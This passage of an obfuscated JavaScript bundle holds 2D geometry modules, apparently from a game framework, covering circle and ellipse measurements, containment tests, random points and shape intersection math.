_0x478ef1 => { _0x478ef1['exports'] = function (_0x434ee5) { return Math['PI'] * _0x434ee5['radius'] * 0x2; }; }, 0x167ce: (_0x199dc1, _0xcf2c99, _0x578ee8) => { var _0x117010 = _0x578ee8(0x85d); _0x199dc1['exports'] = function (_0xd1edbe, _0x41a601, _0x51852a) { return void 0x0 === _0x51852a && (_0x51852a = new _0x117010()), _0x51852a['x'] = _0xd1edbe['x'] + _0xd1edbe['radius'] * Math['cos'](_0x41a601), _0x51852a['y'] = _0xd1edbe['y'] + _0xd1edbe['radius'] * Math['sin'](_0x41a601), _0x51852a; }; }, 0xa50a: (_0x46c399, _0xb2f1d6, _0x19ddd5) => { var _0x438971 = _0x19ddd5(0x178f7); _0x46c399['exports'] = function (_0x329e6b) { return new _0x438971(_0x329e6b['x'], _0x329e6b['y'], _0x329e6b['radius']); }; }, 0x1575e: _0x58b0f6 => { _0x58b0f6['exports'] = function (_0x4229f2, _0x488d89, _0x53b807) { return _0x4229f2['radius'] > 0x0 && _0x488d89 >= _0x4229f2['left'] && _0x488d89 <= _0x4229f2['right'] && _0x53b807 >= _0x4229f2['top'] && _0x53b807 <= _0x4229f2['bottom'] && (_0x4229f2['x'] - _0x488d89) * (_0x4229f2['x'] - _0x488d89) + (_0x4229f2['y'] - _0x53b807) * (_0x4229f2['y'] - _0x53b807) <= _0x4229f2['radius'] * _0x4229f2['radius']; }; }, 0x1642: (_0x92595a, _0x4eda68, _0x33a8cc) => { var _0x35536b = _0x33a8cc(0x1575e); _0x92595a['exports'] = function (_0x3bda8d, _0x243713) { return _0x35536b(_0x3bda8d, _0x243713['x'], _0x243713['y']); }; }, 0x113bc: (_0x25399f, _0x229cad, _0x135c23) => { var _0x3b5aab = _0x135c23(0x1575e); _0x25399f['exports'] = function (_0x13e64d, _0x543aa3) { return _0x3b5aab(_0x13e64d, _0x543aa3['x'], _0x543aa3['y']) && _0x3b5aab(_0x13e64d, _0x543aa3['right'], _0x543aa3['y']) && _0x3b5aab(_0x13e64d, _0x543aa3['x'], _0x543aa3['bottom']) && _0x3b5aab(_0x13e64d, _0x543aa3['right'], _0x543aa3['bottom']); }; }, 0x671a: _0x2eefc7 => { _0x2eefc7['exports'] = function (_0x57cd49, _0x5d9d29) { return _0x5d9d29['setTo'](_0x57cd49['x'], _0x57cd49['y'], _0x57cd49['radius']); }; }, 0x129f6: _0x5d7b49 => { _0x5d7b49['exports'] = function (_0x31379d, _0x1cb409) { return _0x31379d['x'] === _0x1cb409['x'] && _0x31379d['y'] === _0x1cb409['y'] && _0x31379d['radius'] === _0x1cb409['radius']; }; }, 0x81a: (_0x372a9d, _0x50ff8a, _0x582637) => { var _0x3fa7db = _0x582637(0x15721); _0x372a9d['exports'] = function (_0x45a211, _0x172d5f) { return void 0x0 === _0x172d5f && (_0x172d5f = new _0x3fa7db()), _0x172d5f['x'] = _0x45a211['left'], _0x172d5f['y'] = _0x45a211['top'], _0x172d5f['width'] = _0x45a211['diameter'], _0x172d5f['height'] = _0x45a211['diameter'], _0x172d5f; }; }, 0x6681: (_0x5a108e, _0x30054e, _0x57de8d) => { var _0x4b6851 = _0x57de8d(0x167ce), _0x514b58 = _0x57de8d(0xf5e1), _0x35af2a = _0x57de8d(0x8e1f), _0x55ba02 = _0x57de8d(0x85d); _0x5a108e['exports'] = function (_0x308e44, _0x104cac, _0x21da69) { void 0x0 === _0x21da69 && (_0x21da69 = new _0x55ba02()); var _0x4304ee = _0x514b58(_0x104cac, 0x0, _0x35af2a['PI2']); return _0x4b6851(_0x308e44, _0x4304ee, _0x21da69); }; }, 0x13514: (_0x4b239e, _0x49a0c0, _0x57db4e) => { var _0x3a3de3 = _0x57db4e(0x1178a), _0x1e41f9 = _0x57db4e(0x167ce), _0x46d35f = _0x57db4e(0xf5e1), _0x28fd70 = _0x57db4e(0x8e1f); _0x4b239e['exports'] = function (_0x1773cf, _0x3e098d, _0x485f31, _0x3fdfb5) { void 0x0 === _0x3fdfb5 && (_0x3fdfb5 = []), !_0x3e098d && _0x485f31 > 0x0 && (_0x3e098d = _0x3a3de3(_0x1773cf) / _0x485f31); for (var _0xfed166 = 0x0; _0xfed166 < _0x3e098d; _0xfed166++) { var _0x906d03 = _0x46d35f(_0xfed166 / _0x3e098d, 0x0, _0x28fd70['PI2']); _0x3fdfb5['push'](_0x1e41f9(_0x1773cf, _0x906d03)); } return _0x3fdfb5; }; }, 0xc6c4: _0x2d5d55 => { _0x2d5d55['exports'] = function (_0x101341, _0x482ad8, _0x2011a2) { return _0x101341['x'] += _0x482ad8, _0x101341['y'] += _0x2011a2, _0x101341; }; }, 0x992c: _0x298d37 => { _0x298d37['exports'] = function (_0x5d8118, _0x443f13) { return _0x5d8118['x'] += _0x443f13['x'], _0x5d8118['y'] += _0x443f13['y'], _0x5d8118; }; }, 0x6e10: (_0x553af3, _0x2e4b82, _0x4812a4) => { var _0x497f04 = _0x4812a4(0x85d); _0x553af3['exports'] = function (_0x295f8c, _0x59314f) { void 0x0 === _0x59314f && (_0x59314f = new _0x497f04()); var _0x524765 = 0x2 * Math['PI'] * Math['random'](), _0xb04e2 = Math['random']() + Math['random'](), _0x385b91 = _0xb04e2 > 0x1 ? 0x2 - _0xb04e2 : _0xb04e2, _0x18b539 = _0x385b91 * Math['cos'](_0x524765), _0x51d5a7 = _0x385b91 * Math['sin'](_0x524765); return _0x59314f['x'] = _0x295f8c['x'] + _0x18b539 * _0x295f8c['radius'], _0x59314f['y'] = _0x295f8c['y'] + _0x51d5a7 * _0x295f8c['radius'], _0x59314f; }; }, 0x15b4f: (_0x4acc2b, _0x5a51d3, _0x3d5450) => { var _0x4ac346 = _0x3d5450(0x178f7); _0x4ac346['Area'] = _0x3d5450(0x173be), _0x4ac346['Circumference'] = _0x3d5450(0x1178a), _0x4ac346['CircumferencePoint'] = _0x3d5450(0x167ce), _0x4ac346['Clone'] = _0x3d5450(0xa50a), _0x4ac346['Contains'] = _0x3d5450(0x1575e), _0x4ac346['ContainsPoint'] = _0x3d5450(0x1642), _0x4ac346['ContainsRect'] = _0x3d5450(0x113bc), _0x4ac346['CopyFrom'] = _0x3d5450(0x671a), _0x4ac346['Equals'] = _0x3d5450(0x129f6), _0x4ac346['GetBounds'] = _0x3d5450(0x81a), _0x4ac346['GetPoint'] = _0x3d5450(0x6681), _0x4ac346['GetPoints'] = _0x3d5450(0x13514), _0x4ac346['Offset'] = _0x3d5450(0xc6c4), _0x4ac346['OffsetPoint'] = _0x3d5450(0x992c), _0x4ac346['Random'] = _0x3d5450(0x6e10), _0x4acc2b['exports'] = _0x4ac346; }, 0x5ce1: _0x5c2f75 => { _0x5c2f75['exports'] = { 'CIRCLE': 0x0, 'ELLIPSE': 0x1, 'LINE': 0x2, 'POINT': 0x3, 'POLYGON': 0x4, 'RECTANGLE': 0x5, 'TRIANGLE': 0x6 }; }, 0x1341a: _0x5c3ffe => { _0x5c3ffe['exports'] = function (_0x56b84b) { return _0x56b84b['isEmpty']() ? 0x0 : _0x56b84b['getMajorRadius']() * _0x56b84b['getMinorRadius']() * Math['PI']; }; }, 0x16b3e: _0x316cdd => { _0x316cdd['exports'] = function (_0x430ace) { var _0x308b38 = _0x430ace['width'] / 0x2, _0x32cf66 = _0x430ace['height'] / 0x2, _0x5326b9 = Math['pow'](_0x308b38 - _0x32cf66, 0x2) / Math['pow'](_0x308b38 + _0x32cf66, 0x2); return Math['PI'] * (_0x308b38 + _0x32cf66) * (0x1 + 0x3 * _0x5326b9 / (0xa + Math['sqrt'](0x4 - 0x3 * _0x5326b9))); }; }, 0x136a2: (_0x4c4409, _0x5cf499, _0x23ec51) => { var _0x4436f6 = _0x23ec51(0x85d); _0x4c4409['exports'] = function (_0x4f0e4d, _0x185278, _0x32b4ae) { void 0x0 === _0x32b4ae && (_0x32b4ae = new _0x4436f6()); var _0x31c4ef = _0x4f0e4d['width'] / 0x2, _0x72199a = _0x4f0e4d['height'] / 0x2; return _0x32b4ae['x'] = _0x4f0e4d['x'] + _0x31c4ef * Math['cos'](_0x185278), _0x32b4ae['y'] = _0x4f0e4d['y'] + _0x72199a * Math['sin'](_0x185278), _0x32b4ae; }; }, 0xe2f6: (_0x5b4142, _0x12533f, _0x2a9395) => { var _0x433a66 = _0x2a9395(0x2131); _0x5b4142['exports'] = function (_0xa5dc52) { return new _0x433a66(_0xa5dc52['x'], _0xa5dc52['y'], _0xa5dc52['width'], _0xa5dc52['height']); }; }, 0x13d02: _0x376e6d => { _0x376e6d['exports'] = function (_0x3fe981, _0x1d7f0c, _0x33e054) { if (_0x3fe981['width'] <= 0x0 || _0x3fe981['height'] <= 0x0) return !0x1; var _0x5efae4 = (_0x1d7f0c - _0x3fe981['x']) / _0x3fe981['width'], _0x3caff3 = (_0x33e054 - _0x3fe981['y']) / _0x3fe981['height']; return (_0x5efae4 *= _0x5efae4) + (_0x3caff3 *= _0x3caff3) < 0.25; }; }, 0xb646: (_0x565f1d, _0x1cbfd4, _0x3d0fa2) => { var _0x51d59c = _0x3d0fa2(0x13d02); _0x565f1d['exports'] = function (_0x4daa3f, _0x2e07fd) { return _0x51d59c(_0x4daa3f, _0x2e07fd['x'], _0x2e07fd['y']); }; }, 0x660: (_0x2e6947, _0x1fc2ff, _0x27a433) => { var _0x4531d6 = _0x27a433(0x13d02); _0x2e6947['exports'] = function (_0x34b0a0, _0x3dc806) { return _0x4531d6(_0x34b0a0, _0x3dc806['x'], _0x3dc806['y']) && _0x4531d6(_0x34b0a0, _0x3dc806['right'], _0x3dc806['y']) && _0x4531d6(_0x34b0a0, _0x3dc806['x'], _0x3dc806['bottom']) && _0x4531d6(_0x34b0a0, _0x3dc806['right'], _0x3dc806['bottom']); }; }, 0xfffe: _0x16153d => { _0x16153d['exports'] = function (_0x53b076, _0x16d1d5) { return _0x16d1d5['setTo'](_0x53b076['x'], _0x53b076['y'], _0x53b076['width'], _0x53b076['height']); }; }, 0x2131: (_0x59fd4f, _0x53dfb7, _0x35aa77) => { var _0x223268 = _0x35aa77(0x145db), _0x5ca0a0 = _0x35aa77(0x13d02), _0x3c6fb5 = _0x35aa77(0x161b5), _0x45588b = _0x35aa77(0xbcc0), _0x338f7c = _0x35aa77(0x5ce1), _0x131490 = _0x35aa77(0x60f4), _0x3bde8d = new _0x223268({ 'initialize': function (_0x2f8c81, _0x513269, _0x5a2429, _0x3658d9) { void 0x0 === _0x2f8c81 && (_0x2f8c81 = 0x0), void 0x0 === _0x513269 && (_0x513269 = 0x0), void 0x0 === _0x5a2429 && (_0x5a2429 = 0x0), void 0x0 === _0x3658d9 && (_0x3658d9 = 0x0), this['type'] = _0x338f7c['ELLIPSE'], this['x'] = _0x2f8c81, this['y'] = _0x513269, this['width'] = _0x5a2429, this['height'] = _0x3658d9; }, 'contains': function (_0x40dee8, _0x2aa716) { return _0x5ca0a0(this, _0x40dee8, _0x2aa716); }, 'getPoint': function (_0x2f15ef, _0x3d9cff) { return _0x3c6fb5(this, _0x2f15ef, _0x3d9cff); }, 'getPoints': function (_0x5235b5, _0x1adeef, _0x527dfc) { return _0x45588b(this, _0x5235b5, _0x1adeef, _0x527dfc); }, 'getRandomPoint': function (_0x12199d) { return _0x131490(this, _0x12199d); }, 'setTo': function (_0x546a75, _0xecd837, _0x399bdc, _0x4da1f9) { return this['x'] = _0x546a75, this['y'] = _0xecd837, this['width'] = _0x399bdc, this['height'] = _0x4da1f9, this; }, 'setEmpty': function () { return this['width'] = 0x0, this['height'] = 0x0, this; }, 'setPosition': function (_0x3e2ec9, _0x203379) { return void 0x0 === _0x203379 && (_0x203379 = _0x3e2ec9), this['x'] = _0x3e2ec9, this['y'] = _0x203379, this; }, 'setSize': function (_0x53236f, _0x5175ba) { return void 0x0 === _0x5175ba && (_0x5175ba = _0x53236f), this['width'] = _0x53236f, this['height'] = _0x5175ba, this; }, 'isEmpty': function () { return this['width'] <= 0x0 || this['height'] <= 0x0; }, 'getMinorRadius': function () { return Math['min'](this['width'], this['height']) / 0x2; }, 'getMajorRadius': function () { return Math['max'](this['width'], this['height']) / 0x2; }, 'left': { 'get': function () { return this['x'] - this['width'] / 0x2; }, 'set': function (_0x3c50d5) { this['x'] = _0x3c50d5 + this['width'] / 0x2; } }, 'right': { 'get': function () { return this['x'] + this['width'] / 0x2; }, 'set': function (_0x5105d0) { this['x'] = _0x5105d0 - this['width'] / 0x2; } }, 'top': { 'get': function () { return this['y'] - this['height'] / 0x2; }, 'set': function (_0x3fccff) { this['y'] = _0x3fccff + this['height'] / 0x2; } }, 'bottom': { 'get': function () { return this['y'] + this['height'] / 0x2; }, 'set': function (_0x21ee3b) { this['y'] = _0x21ee3b - this['height'] / 0x2; } } }); _0x59fd4f['exports'] = _0x3bde8d; }, 0x8d32: _0x59c2ff => { _0x59c2ff['exports'] = function (_0x4ab6f1, _0x5aa214) { return _0x4ab6f1['x'] === _0x5aa214['x'] && _0x4ab6f1['y'] === _0x5aa214['y'] && _0x4ab6f1['width'] === _0x5aa214['width'] && _0x4ab6f1['height'] === _0x5aa214['height']; }; }, 0x5c8e: (_0x2ab87c, _0x4e55aa, _0x68e85c) => { var _0x4a8d9a = _0x68e85c(0x15721); _0x2ab87c['exports'] = function (_0x4ce9b9, _0x37d8f6) { return void 0x0 === _0x37d8f6 && (_0x37d8f6 = new _0x4a8d9a()), _0x37d8f6['x'] = _0x4ce9b9['left'], _0x37d8f6['y'] = _0x4ce9b9['top'], _0x37d8f6['width'] = _0x4ce9b9['width'], _0x37d8f6['height'] = _0x4ce9b9['height'], _0x37d8f6; }; }, 0x161b5: (_0x16b846, _0x18e3c7, _0x1dcfef) => { var _0x580f98 = _0x1dcfef(0x136a2), _0x50a5aa = _0x1dcfef(0xf5e1), _0x343d16 = _0x1dcfef(0x8e1f), _0x572980 = _0x1dcfef(0x85d); _0x16b846['exports'] = function (_0x92980b, _0x456ffa, _0x40bb22) { void 0x0 === _0x40bb22 && (_0x40bb22 = new _0x572980()); var _0x5376e4 = _0x50a5aa(_0x456ffa, 0x0, _0x343d16['PI2']); return _0x580f98(_0x92980b, _0x5376e4, _0x40bb22); }; }, 0xbcc0: (_0xd7325f, _0x2b2453, _0x5239b5) => { var _0x1aa4cf = _0x5239b5(0x16b3e), _0x467b83 = _0x5239b5(0x136a2), _0x2d011a = _0x5239b5(0xf5e1), _0x161577 = _0x5239b5(0x8e1f); _0xd7325f['exports'] = function (_0x591b72, _0x296743, _0x18ea5e, _0x81790d) { void 0x0 === _0x81790d && (_0x81790d = []), !_0x296743 && _0x18ea5e > 0x0 && (_0x296743 = _0x1aa4cf(_0x591b72) / _0x18ea5e); for (var _0x5c261b = 0x0; _0x5c261b < _0x296743; _0x5c261b++) { var _0x354414 = _0x2d011a(_0x5c261b / _0x296743, 0x0, _0x161577['PI2']); _0x81790d['push'](_0x467b83(_0x591b72, _0x354414)); } return _0x81790d; }; }, 0x11ed0: _0x3b240c => { _0x3b240c['exports'] = function (_0x2bc64e, _0x2287bc, _0x874303) { return _0x2bc64e['x'] += _0x2287bc, _0x2bc64e['y'] += _0x874303, _0x2bc64e; }; }, 0xaf08: _0x26f6b8 => { _0x26f6b8['exports'] = function (_0x2d60c7, _0x26567f) { return _0x2d60c7['x'] += _0x26567f['x'], _0x2d60c7['y'] += _0x26567f['y'], _0x2d60c7; }; }, 0x60f4: (_0x253926, _0x3049f0, _0x293f28) => { var _0x3364c6 = _0x293f28(0x85d); _0x253926['exports'] = function (_0x3a8d07, _0x5f4f08) { void 0x0 === _0x5f4f08 && (_0x5f4f08 = new _0x3364c6()); var _0x2b0cbf = Math['random']() * Math['PI'] * 0x2, _0x3ab8c8 = Math['sqrt'](Math['random']()); return _0x5f4f08['x'] = _0x3a8d07['x'] + _0x3ab8c8 * Math['cos'](_0x2b0cbf) * _0x3a8d07['width'] / 0x2, _0x5f4f08['y'] = _0x3a8d07['y'] + _0x3ab8c8 * Math['sin'](_0x2b0cbf) * _0x3a8d07['height'] / 0x2, _0x5f4f08; }; }, 0xc033: (_0x4d9187, _0x2b3bdb, _0x5d6fe5) => { var _0x52e5e8 = _0x5d6fe5(0x2131); _0x52e5e8['Area'] = _0x5d6fe5(0x1341a), _0x52e5e8['Circumference'] = _0x5d6fe5(0x16b3e), _0x52e5e8['CircumferencePoint'] = _0x5d6fe5(0x136a2), _0x52e5e8['Clone'] = _0x5d6fe5(0xe2f6), _0x52e5e8['Contains'] = _0x5d6fe5(0x13d02), _0x52e5e8['ContainsPoint'] = _0x5d6fe5(0xb646), _0x52e5e8['ContainsRect'] = _0x5d6fe5(0x660), _0x52e5e8['CopyFrom'] = _0x5d6fe5(0xfffe), _0x52e5e8['Equals'] = _0x5d6fe5(0x8d32), _0x52e5e8['GetBounds'] = _0x5d6fe5(0x5c8e), _0x52e5e8['GetPoint'] = _0x5d6fe5(0x161b5), _0x52e5e8['GetPoints'] = _0x5d6fe5(0xbcc0), _0x52e5e8['Offset'] = _0x5d6fe5(0x11ed0), _0x52e5e8['OffsetPoint'] = _0x5d6fe5(0xaf08), _0x52e5e8['Random'] = _0x5d6fe5(0x60f4), _0x4d9187['exports'] = _0x52e5e8; }, 0xd9ba: (_0x2326a9, _0xe33ab, _0x4ee80a) => { var _0x181957 = _0x4ee80a(0x5ce1), _0x26d049 = _0x4ee80a(0x135bb), _0x582567 = { 'Circle': _0x4ee80a(0x15b4f), 'Ellipse': _0x4ee80a(0xc033), 'Intersects': _0x4ee80a(0x166d9), 'Line': _0x4ee80a(0x9e1), 'Mesh': _0x4ee80a(0x11d82), 'Point': _0x4ee80a(0xaabf), 'Polygon': _0x4ee80a(0xe437), 'Rectangle': _0x4ee80a(0x16c30), 'Triangle': _0x4ee80a(0x149d3) }; _0x582567 = _0x26d049(!0x1, _0x582567, _0x181957), _0x2326a9['exports'] = _0x582567; }, 0x7fc: (_0xd03d5f, _0x3f5d58, _0x128008) => { var _0x121153 = _0x128008(0x4f73); _0xd03d5f['exports'] = function (_0x1f328e, _0x401993) { return _0x121153(_0x1f328e['x'], _0x1f328e['y'], _0x401993['x'], _0x401993['y']) <= _0x1f328e['radius'] + _0x401993['radius']; }; }, 0x13e53: _0x4a73f => { _0x4a73f['exports'] = function (_0x2ca392, _0x2b428c) { var _0x3b490c = _0x2b428c['width'] / 0x2, _0x512338 = _0x2b428c['height'] / 0x2, _0x2a4c2d = Math['abs'](_0x2ca392['x'] - _0x2b428c['x'] - _0x3b490c), _0x3ab3e2 = Math['abs'](_0x2ca392['y'] - _0x2b428c['y'] - _0x512338), _0x28076f = _0x3b490c + _0x2ca392['radius'], _0x123897 = _0x512338 + _0x2ca392['radius']; if (_0x2a4c2d > _0x28076f || _0x3ab3e2 > _0x123897) return !0x1; if (_0x2a4c2d <= _0x3b490c || _0x3ab3e2 <= _0x512338) return !0x0; var _0x51f36c = _0x2a4c2d - _0x3b490c, _0x42012c = _0x3ab3e2 - _0x512338; return _0x51f36c * _0x51f36c + _0x42012c * _0x42012c <= _0x2ca392['radius'] * _0x2ca392['radius']; }; }, 0xf790: (_0xf90f5c, _0xbac17e, _0x1627bc) => { var _0x41bf01 = _0x1627bc(0x85d), _0x2af46f = _0x1627bc(0x7fc); _0xf90f5c['exports'] = function (_0x1565ff, _0x64b530, _0x138004) { if (void 0x0 === _0x138004 && (_0x138004 = []), _0x2af46f(_0x1565ff, _0x64b530)) { var _0x20f273, _0x578cfe, _0x1e7880, _0x235da2, _0xf7ae93 = _0x1565ff['x'], _0x1b0a36 = _0x1565ff['y'], _0x231d8a = _0x1565ff['radius'], _0x1e3577 = _0x64b530['x'], _0x1ff4f5 = _0x64b530['y'], _0xd90484 = _0x64b530['radius']; if (_0x1b0a36 === _0x1ff4f5) 0x0 == (_0x1e7880 = (_0x578cfe = -0x2 * _0x1ff4f5) * _0x578cfe - 0x4 * (_0x20f273 = 0x1) * (_0x1e3577 * _0x1e3577 + (_0x235da2 = (_0xd90484 * _0xd90484 - _0x231d8a * _0x231d8a - _0x1e3577 * _0x1e3577 + _0xf7ae93 * _0xf7ae93) / (0x2 * (_0xf7ae93 - _0x1e3577))) * _0x235da2 - 0x2 * _0x1e3577 * _0x235da2 + _0x1ff4f5 * _0x1ff4f5 - _0xd90484 * _0xd90484)) ? _0x138004['push'](new _0x41bf01(_0x235da2, -_0x578cfe / (0x2 * _0x20f273))) : _0x1e7880 > 0x0 && (_0x138004['push'](new _0x41bf01(_0x235da2, (-_0x578cfe + Math['sqrt'](_0x1e7880)) / (0x2 * _0x20f273))), _0x138004['push'](new _0x41bf01(_0x235da2, (-_0x578cfe - Math['sqrt'](_0x1e7880)) / (0x2 * _0x20f273)))); else { var _0x159228 = (_0xf7ae93 - _0x1e3577) / (_0x1b0a36 - _0x1ff4f5), _0x3b2067 = (_0xd90484 * _0xd90484 - _0x231d8a * _0x231d8a - _0x1e3577 * _0x1e3577 + _0xf7ae93 * _0xf7ae93 - _0x1ff4f5 * _0x1ff4f5 + _0x1b0a36 * _0x1b0a36) / (0x2 * (_0x1b0a36 - _0x1ff4f5)); 0x0 == (_0x1e7880 = (_0x578cfe = 0x2 * _0x1b0a36 * _0x159228 - 0x2 * _0x3b2067 * _0x159228 - 0x2 * _0xf7ae93) * _0x578cfe - 0x4 * (_0x20f273 = _0x159228 * _0x159228 + 0x1) * (_0xf7ae93 * _0xf7ae93 + _0x1b0a36 * _0x1b0a36 + _0x3b2067 * _0x3b2067 - _0x231d8a * _0x231d8a - 0x2 * _0x1b0a36 * _0x3b2067)) ? (_0x235da2 = -_0x578cfe / (0x2 * _0x20f273), _0x138004['push'](new _0x41bf01(_0x235da2, _0x3b2067 - _0x235da2 * _0x159228))) : _0x1e7880 > 0x0 && (_0x235da2 = (-_0x578cfe + Math['sqrt'](_0x1e7880)) / (0x2 * _0x20f273), _0x138004['push'](new _0x41bf01(_0x235da2, _0x3b2067 - _0x235da2 * _0x159228)), _0x235da2 = (-_0x578cfe - Math['sqrt'](_0x1e7880)) / (0x2 * _0x20f273), _0x138004['push'](new _0x41bf01(_0x235da2, _0x3b2067 - _0x235da2 * _0x159228))); } } return _0x138004; }; }, 0x17c9f: (_0x117c17, _0x1d5e3a, _0x22c01f) => { var _0x484384 = _0x22c01f(0xfca), _0x408256 = _0x22c01f(0x13e53); _0x117c17['exports'] = function (_0x5dbc4f, _0x26951a, _0x4efff5) { if (void 0x0 === _0x4efff5 && (_0x4efff5 = []), _0x408256(_0x5dbc4f, _0x26951a)) { var _0x114c3e = _0x26951a['getLineA'](), _0x1fc272 = _0x26951a['getLineB'](), _0x548fe5 = _0x26951a['getLineC'](), _0x1e4c51 = _0x26951a['getLineD'](); _0x484384(_0x114c3e, _0x5dbc4f, _0x4efff5), _0x484384(_0x1fc272, _0x5dbc4f, _0x4efff5), _0x484384(_0x548fe5, _0x5dbc4f, _0x4efff5), _0x484384(_0x1e4c51, _0x5dbc4f, _0x4efff5); } return _0x4efff5; }; }, 0xfca: (_0x5d3e25, _0x2c8b79, _0x3488d6) => { var _0x4f825a = _0x3488d6(0x85d), _0x4de6b1 = _0x3488d6(0x13a4e); _0x5d3e25['exports'] = function (_0x2c937f, _0x3a118d, _0x69cbc3) { if (void 0x0 === _0x69cbc3 && (_0x69cbc3 = []), _0x4de6b1(_0x2c937f, _0x3a118d)) { var _0x52f5f4, _0x2c0a50, _0x315038 = _0x2c937f['x1'], _0x5c893d = _0x2c937f['y1'], _0x25f766 = _0x2c937f['x2'], _0x24d120 = _0x2c937f['y2'], _0x582687 = _0x3a118d['x'], _0x7a3fe1 = _0x3a118d['y'], _0x67f0cc = _0x3a118d['radius'], _0x1965d0 = _0x25f766 - _0x315038, _0x2c7cf6 = _0x24d120 - _0x5c893d, _0x485953 = _0x315038 - _0x582687, _0x4096f0 = _0x5c893d - _0x7a3fe1, _0xcce818 = _0x1965d0 * _0x1965d0 + _0x2c7cf6 * _0x2c7cf6, _0x218b47 = 0x2 * (_0x1965d0 * _0x485953 + _0x2c7cf6 * _0x4096f0), _0x4c7749 = _0x218b47 * _0x218b47 - 0x4 * _0xcce818 * (_0x485953 * _0x485953 + _0x4096f0 * _0x4096f0 - _0x67f0cc * _0x67f0cc); if (0x0 === _0x4c7749) { var _0x39e6b9 = -_0x218b47 / (0x2 * _0xcce818); _0x52f5f4 = _0x315038 + _0x39e6b9 * _0x1965d0, _0x2c0a50 = _0x5c893d + _0x39e6b9 * _0x2c7cf6, _0x39e6b9 >= 0x0 && _0x39e6b9 <= 0x1 && _0x69cbc3['push'](new _0x4f825a(_0x52f5f4, _0x2c0a50)); } else { if (_0x4c7749 > 0x0) { var _0x24e388 = (-_0x218b47 - Math['sqrt'](_0x4c7749)) / (0x2 * _0xcce818); _0x52f5f4 = _0x315038 + _0x24e388 * _0x1965d0, _0x2c0a50 = _0x5c893d + _0x24e388 * _0x2c7cf6, _0x24e388 >= 0x0 && _0x24e388 <= 0x1 && _0x69cbc3['push'](new _0x4f825a(_0x52f5f4, _0x2c0a50)); var _0x1da4da = (-_0x218b47 + Math['sqrt'](_0x4c7749)) / (0x2 * _0xcce818); _0x52f5f4 = _0x315038 + _0x1da4da * _0x1965d0, _0x2c0a50 = _0x5c893d + _0x1da4da * _0x2c7cf6, _0x1da4da >= 0x0 && _0x1da4da <= 0x1 && _0x69cbc3['push'](new _0x4f825a(_0x52f5f4, _0x2c0a50)); } } } return _0x69cbc3; }; }, 0x8d04: (_0x2b9231, _0x151001, _0x54ccf9) => { var _0x244f1f = _0x54ccf9(0x64ec); _0x2b9231['exports'] = function (_0x495afa, _0x4dd3f8, _0x342dfe, _0x272ab0) { void 0x0 === _0x342dfe && (_0x342dfe = !0x1); var _0x17c040, _0x19d543, _0x31cf84, _0x221b61 = _0x495afa['x1'], _0x1deab9 = _0x495afa['y1'], _0x3c0721 = _0x495afa['x2'], _0x490a65 = _0x495afa['y2'], _0x1e5159 = _0x4dd3f8['x1'], _0x585830 = _0x4dd3f8['y1'], _0x5a502e = _0x3c0721 - _0x221b61, _0x344cbd = _0x490a65 - _0x1deab9, _0x3fc252 = _0x4dd3f8['x2'] - _0x1e5159, _0x133cde = _0x4dd3f8['y2'] - _0x585830, _0x59c953 = _0x5a502e * _0x133cde - _0x344cbd * _0x3fc252; if (0x0 === _0x59c953) return null; if (_0x342dfe) { if (_0x17c040 = (_0x5a502e * (_0x585830 - _0x1deab9) + _0x344cbd * (_0x221b61 - _0x1e5159)) / (_0x3fc252 * _0x344cbd - _0x133cde * _0x5a502e), 0x0 !== _0x5a502e) _0x19d543 = (_0x1e5159 + _0x3fc252 * _0x17c040 - _0x221b61) / _0x5a502e; else { if (0x0 === _0x344cbd) return null; _0x19d543 = (_0x585830 + _0x133cde * _0x17c040 - _0x1deab9) / _0x344cbd; } if (_0x19d543 < 0x0 || _0x17c040 < 0x0 || _0x17c040 > 0x1) return null; _0x31cf84 = _0x19d543; } else { if (_0x19d543 = ((_0x1deab9 - _0x585830) * _0x5a502e - (_0x221b61 - _0x1e5159) * _0x344cbd) / _0x59c953, (_0x17c040 = ((_0x1e5159 - _0x221b61) * _0x133cde - (_0x585830 - _0x1deab9) * _0x3fc252) / _0x59c953) < 0x0 || _0x17c040 > 0x1 || _0x19d543 < 0x0 || _0x19d543 > 0x1) return null; _0x31cf84 = _0x17c040; } return void 0x0 === _0x272ab0 && (_0x272ab0 = new _0x244f1f()), _0x272ab0['set'](_0x221b61 + _0x5a502e * _0x31cf84, _0x1deab9 + _0x344cbd * _0x31cf84, _0x31cf84); }; }, 0xc01: (_0x160a49, _0x38dcef, _0x4e1f3b) => { var _0x26d426 = _0x4e1f3b(0x8d04), _0x3b7555 = _0x4e1f3b(0x59f7), _0x53ad59 = _0x4e1f3b(0x64ec), _0x7c9e3 = new _0x3b7555(), _0x349c79 = new _0x53ad59(); _0x160a49['exports'] = function (_0x489f92, _0x3178dd, _0x221e4e, _0x44249c) { void 0x0 === _0x221e4e && (_0x221e4e = !0x1), void 0x0 === _0x44249c && (_0x44249c = new _0x53ad59()); var _0x3bc810 = !0x1; _0x44249c['set'](), _0x349c79['set'](); for (var _0x28144f = _0x3178dd[_0x3178dd['length'] - 0x1], _0x530d37 = 0x0; _0x530d37 < _0x3178dd['length']; _0x530d37++) { var _0x2bcadb = _0x3178dd[_0x530d37]; _0x7c9e3['setTo'](_0x28144f['x'], _0x28144f['y'], _0x2bcadb['x'], _0x2bcadb['y']), _0x28144f = _0x2bcadb, _0x26d426(_0x489f92, _0x7c9e3, _0x221e4e, _0x349c79) && (!_0x3bc810 || _0x349c79['z'] < _0x44249c['z']) && (_0x44249c['copy'](_0x349c79), _0x3bc810 = !0x0); } return _0x3bc810 ? _0x44249c : null; }; }, 0xdc2a: (_0x9972d8, _0x3a8878, _0x58403f) => { var _0x584a6 = _0x58403f(0x64ec), _0x6bd157 = _0x58403f(0xefb9), _0x3696d0 = _0x58403f(0xc01), _0x3183dc = new _0x584a6(); _0x9972d8['exports'] = function (_0xb3ab2e, _0xf1a8d3, _0x19013b, _0x4b972a) { void 0x0 === _0x4b972a && (_0x4b972a = new _0x6bd157()), Array['isArray'](_0xf1a8d3) || (_0xf1a8d3 = [_0xf1a8d3]); var _0x781b4f = !0x1; _0x4b972a['set'](), _0x3183dc['set'](); for (var _0x1a6049 = 0x0; _0x1a6049 < _0xf1a8d3['length']; _0x1a6049++)_0x3696d0(_0xb3ab2e, _0xf1a8d3[_0x1a6049]['points'], _0x19013b, _0x3183dc) && (!_0x781b4f || _0x3183dc['z'] < _0x4b972a['z']) && (_0x4b972a['set'](_0x3183dc['x'], _0x3183dc['y'], _0x3183dc['z'], _0x1a6049), _0x781b4f = !0x0); return _0x781b4f ? _0x4b972a : null; }; }, 0xece6: (_0x5ead20, _0x6183e2, _0x13be98) => { var 